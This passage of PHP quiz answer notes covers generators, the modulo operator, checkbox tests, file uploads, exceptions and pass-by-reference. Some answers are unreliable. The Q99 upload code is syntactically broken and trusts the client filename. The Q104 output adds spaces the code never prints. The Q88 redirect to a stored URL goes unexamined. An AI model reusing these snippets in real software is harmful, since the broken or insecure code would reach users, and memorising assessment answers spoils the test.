object properties, whereas toString() is used to represent the object as a string.

b. Correct: While this might be partially true, the toString() method allows for a convenient way to
represent the object as a string without manually calling each getter.

c. Potentially Incorrect: The toString() method does not automatically "show" the components of an
object as a string; it provides a way to return a string representation of the object.
Q87. What is a generator and how is it used in PHP?

> A generator is a simple iterator capable of producing a series of results. It has the same
syntax as a function, except it uses "yield" instead of "return".

In PHP, a generator is a special type of iterator that allows you to iterate over a set of data
without storing it all in memory at once. Generators are particularly useful when working with
large datasets or when you want to generate a sequence of values dynamically.

Here's how generators work and how they are used in PHP?
Generator Function: A generator function is a function that contains one or more yield
statements. When called, a generator function returns a generator object that can be iterated
over.

yield Statement: The yield statement is used within a generator function to produce a value to
be yielded to the caller. When a yield statement is encountered, the generator function's
execution is paused, and the yielded value is returned to the caller.

Iteration: Generators can be iterated over using a foreach loop or by manually calling the next()
function on the generator object. Each iteration of the generator function resumes execution
from the point where it last yielded a value.

Here's a simple example of a generator function that generates an infinite sequence of even
numbers:

function evenNumbers() {
$num = 0;
while (true) {
yield $num;
$num += 2;
}
}

$generator = evenNumbers();

// Iterate over the generator and print the first 5 even numbers
$count = 0;
foreach ($generator as $evenNumber) {
echo $evenNumber . "\n";
$count++;
if ($count == 5) {
break;
}
}

// Manually iterate over the generator and print the first 5 even
numbers
$count = 0;
while ($count < 5) {
$evenNumber = $generator->current();
echo $evenNumber . "\n";
$generator->next();
$count++;
}

Q88. What is the best description of what this script is/does?


if( isset($user_info['url']) ) {
$_SESSION["loggedIn"] = true;
$_SESSION["username"] = $myusername;
header('Location: ' . $user_info['url']); //Redirects to the
supplied url from the DB
} else {
header("Location: error.htm");
}

> It is a login script for a user portal on a website.

If the 'url' key exists, it means that the user has a specific URL associated with their account,
likely indicating a redirect URL after successful login.

In summary, this code is part of a login script that checks if a user has a specific URL
associated with their account. If so, it logs the user in, sets session variables, and redirects
them to their designated page. If not, it redirects them to an error page.
A user portal, also known as a member portal or customer portal, is a secure online platform
that provides users with access to personalized information, services, and resources related to
a particular website, organization, or service.

Q89. What is the output of this code?


echo 5 % 0.75;
> fatal error (division by zero)

In PHP, the modulo operator (%) can only be used with integer operands. When you attempt to
use it with non-integer operands, such as 5 % 0.75, PHP will convert the operands to integers.
This conversion results in both 5 and 0.75 being converted to integers, and 0.75 will be
truncated to 0.

Ex: 5%1 and 5%1.5 both 0

Q90. Can you extend a final defined class?


> No, because a final class or method declaration prevents child class or method overriding.

Q91. How can you test if a checkbox is set?

a. Use !empty($_GET['test'])
b. Use isset($_GET['test'])
c. Use $_GET['test'] == ''

A+b both true. C is not suitable for testing if a checkbox is set.


[Again option C can be used to check if the checkbox is not set. Because false == ‘’ return
true. So, if not set then $_GET[‘test’] can be resulted into false and hence true.]
[option c check if test is not set]

Q92. A form to subscribe to a newsletter is submitted using the POST method. The form
has only one field: an input text field named "email". How would you check if the field is
empty and, if it is, print "The email cannot be empty"?
>
if(empty($_POST['email'])) {
echo "The email cannot be empty";
}

Q93. What is the PHP fatal error type?


> This type of error causes termination after showing the list of errors and the line number
where the errors have occured.

Q94. Which script properly validates the IP address given?


$ip_address = "164.12.2540.1";
if(filter_var($ip_address, FILTER_VALIDATE_IP)){
echo "$ip_address is a valid IP address";
} else {
echo "$ip_address is not a valid IP address";
}

Here’s resulting not a valid ip address for the above ip address. However it shows 192.168.0.1
is valid ip address. The FILTER_VALIDATE_IP filter validates an IP address.

Q95. What is the output of this code?


$i = 0;
while($i < 6) {
if($i++ == 3) break;
}
echo "loop stopped at $i by break statement";

> loop stopped at 4 by break statement

Q96. After creating your objects, you can call member functions related to that object,
such as setting the names and prices for three "Pet" objects. What is the likely output of
this code snippet?
$dog->setTitle("Spot");
$cat->setTitle("Mimi");
$horse->setTitle("Trigger");
$dog->setPrice(10);
$cat->setPrice(15);
$horse->setPrice(7);
print_r($cat);

> Pet Object ( [title]=> Mimi [price]=>15 )


Q97. Given the associative array below, which PHP code determines which element(s) of
the array is/are apple?
$array = array(
'fruit1' => 'apple',
'fruit2' => 'orange',
'fruit3' => 'grape',
'fruit4' => 'apple',
'fruit5' => 'apple');

=> Ans:
while ($fruit_name = current($array)) {
if ($fruit_name == 'apple') {
echo key($array).'<br />';
}
next($array);
}

Output; fruit1<br />fruit4<br />fruit5<br />

Q98. What does this code print?


class Smurf {

public $name = "Papa Smurf";

public function __construct($name) {


$this->name = $name;
}

public function set_name($name) {


$name = $name;
}
}

$smurf = new Smurf("Smurfette");


$smurf->set_name("Handy Smurf");
echo $smurf->name;

> Ans:
Smurfette

Q99. You have an online form with a file input field called "image" for uploading files.
Assuming the path to the upload directory is $path, which code should you use to make
sure the file is uploaded from your form to the correct location?

Ans:
if ($_FILES['image']['error'] === 0) {
move_uploaded_file($_FILES)['image']['temp_name'],
$path . $_FILES['image']['name']);
)
1. $_FILES['image']['error'] === 0: This condition checks if there were no errors
during the file upload process. When a file is uploaded via a form, PHP populates the
$_FILES superglobal array with information about the uploaded file, including any errors
encountered. If $_FILES['image']['error'] equals 0, it indicates that no errors
occurred during the upload process.
2. move_uploaded_file($_FILES['image']['tmp_name'], $path .
$_FILES['image']['name']): If the file upload was successful (i.e., no errors
occurred), the move_uploaded_file() function is called to move the temporary
uploaded file to the desired location on the server.
a. $_FILES['image']['tmp_name']: This is the temporary filename of the
uploaded file as stored on the server.
b. $path . $_FILES['image']['name']: This specifies the destination path
where the uploaded file should be moved. Here, $path represents the directory
path where you want to store the uploaded files, and
$_FILES['image']['name'] represents the original filename of the uploaded
file. By concatenating these two values, you create the full path to which the file
will be moved.

Q100. Which super global variable holds information about headers, paths, and script
locations?
> $_SERVER

Q101. Using a for loop, how would you write PHP code to count backward from 10 to 1, in
that order?
> Ans:
<?
for($i = 10; $i > 0; $i--) {
print "$i <br />\n";
} // end for loop
?>

Q102. What is the output of this code?


function knights(){
return "a shrubbery";
}

if (knights())
printf "you are just and fair";
else
printf "NI!";

> you are just and fair

Q103. Which script defines the United States of America as a constant and prints this
code?
Our country is United States of America Our country has a total of 50 states
define('country',"United States of America");
define('states',50);
echo "Our country is ".country."<br>";
echo "Our country has a total of ".states." states";
Q104. What does this code output?
try{
echo "bodacious";
throw new Exception();
} catch (Exception $e) {
echo "egregious";
} finally {
echo "excellent";
}
> bodacious egregious excellent

The code inside the try block is executed first. So, the statement echo "bodacious "; runs,
printing "bodacious ". After the echo, the throw new Exception(); line is executed, which
creates an exception. This immediately halts further execution of the code inside the try block and
transfers control to the nearest matching catch block. Since the thrown exception is of type
Exception, the corresponding catch (Exception $e) block is executed. Inside the catch
block, echo "egregious "; runs, printing "egregious ". Regardless of whether an exception was
caught or not, the finally block is always executed. So, echo "excellent "; runs, printing
"excellent ".

(if anything more comes after exception, that will be skipped)

Q105. Passing by reference is a way to pass a variable to a function and modify it inside the function,
and have that modification stick when the variable is used outside the function. Which code correctly
uses passing by reference to modify the variable for use outside the function?

> 1 function append(&$initial){ $initial = $initial . ' belong to us';


} 2 $initialString = 'All your base are’; 3 append($initialString); 4
echo $initialString;

Here’s code:
// Define a function that appends a string to the provided variable by
reference
function append(&$initial) {
$initial = $initial . ' belong to us';
}

$initialString = 'All your base are';


append($initialString);

echo $initialString; // Output: All your base are belong to us

Q106. What is the output of this script?


$believable = 'false';
$myth = 'The moon is made of green cheese';
$calc = 10**3+1;
if ($believable) {
echo $myth;
}
else {
echo $calc;
}
a. 1001
b. The moon is made of green cheese

Ans: b
‘false’ is just act as a string.

Q107. What PHP control structure is used inside of a loop to skip the rest of the current loop's code
and go back to the start of the loop for the next iteration?

> Continue

You might also like